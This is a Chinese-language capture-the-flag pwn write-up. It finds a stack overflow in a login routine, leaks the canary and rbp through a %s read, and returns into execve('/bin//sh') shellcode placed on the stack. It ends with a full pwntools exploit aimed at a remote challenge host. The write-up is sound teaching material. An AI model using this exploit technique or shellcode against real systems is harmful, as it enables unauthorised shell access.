题目自取:
链接:https://pan.baidu.com/s/1pDPrXklR5U6bmmwxu5aTQQ?pwd=9d41
提取码:9d41
开始:
个人习惯先checksec再IDA
可以看到开了canary ,没开NX(可以shellcode)没开PIE(不用泄露程序基地址),有可写可读可执行权限,可以写入某些段并执行。
分析代码,发现是在登录上出了问题。
这有明显的栈溢出漏洞,且有%s,这给我们泄露canary的机会,另外又没有开NX保护,因此我们可以向栈溢出部分写入shellcode拿到shell
值得注意的是,我们分析源码,发现在注册名字的时候,需要输入的是cat_loves_her
否则无法进入第二个栈溢出
打开GDB调试,查看栈空间 发现需要写入0x18个数据才能使得下一个字符覆盖canary的值,因此密码上我们要往里填写25个数据,才能将canary的值泄露出来,顺便把rbp的值也拿到手
代码如下:
payload=b'cat_loves_her'
io.sendline(payload)
io.recv()
payload=b'a'*25
io.sendline(payload)
io.recvuntil(b'ord ')
io.recv(25)
canary=u64(io.recv(7).rjust(8,b'\x00'))
rbp_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(canary))
io.recv()
拿到canary和rbp后,就可以通过栈溢出执行shellcode啦,但是我们注意到,由于shellcode太长,栈溢出太短,因此我们可以把shellcode放在栈中,在溢出的返回地址处写入返回到shellcode的地方。
shellcode:"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"(菜得要死,直接网上找,不要学我)
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload=shellcode.ljust(0x18,b'\x00')+p64(canary)+b'a'*8+p64(rbp_addr-0x30)
io.sendline(payload)
io.interactive()
至于为什么是rbp_addr-0x30,这里附上栈的结构图
rbp的地址指向的是0x7fffffffdd60,减去0x30正好就是shellcode开始的地方
下面是完整的exp:
from pwn import *
elf = ELF('./database_in')
io=remote("81.68.85.214",8004)
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
io.recv()
payload=b'cat_loves_her'
io.sendline(payload)
io.recv()
payload=b'a'*25
io.sendline(payload)
io.recvuntil(b'ord ')
io.recv(25)
canary=u64(io.recv(7).rjust(8,b'\x00'))
rbp_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(canary))
io.recv()
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload=shellcode.ljust(0x18,b'\x00')+p64(canary)+b'a'*8+p64(rbp_addr-0x30)
io.sendline(payload)
io.interactive()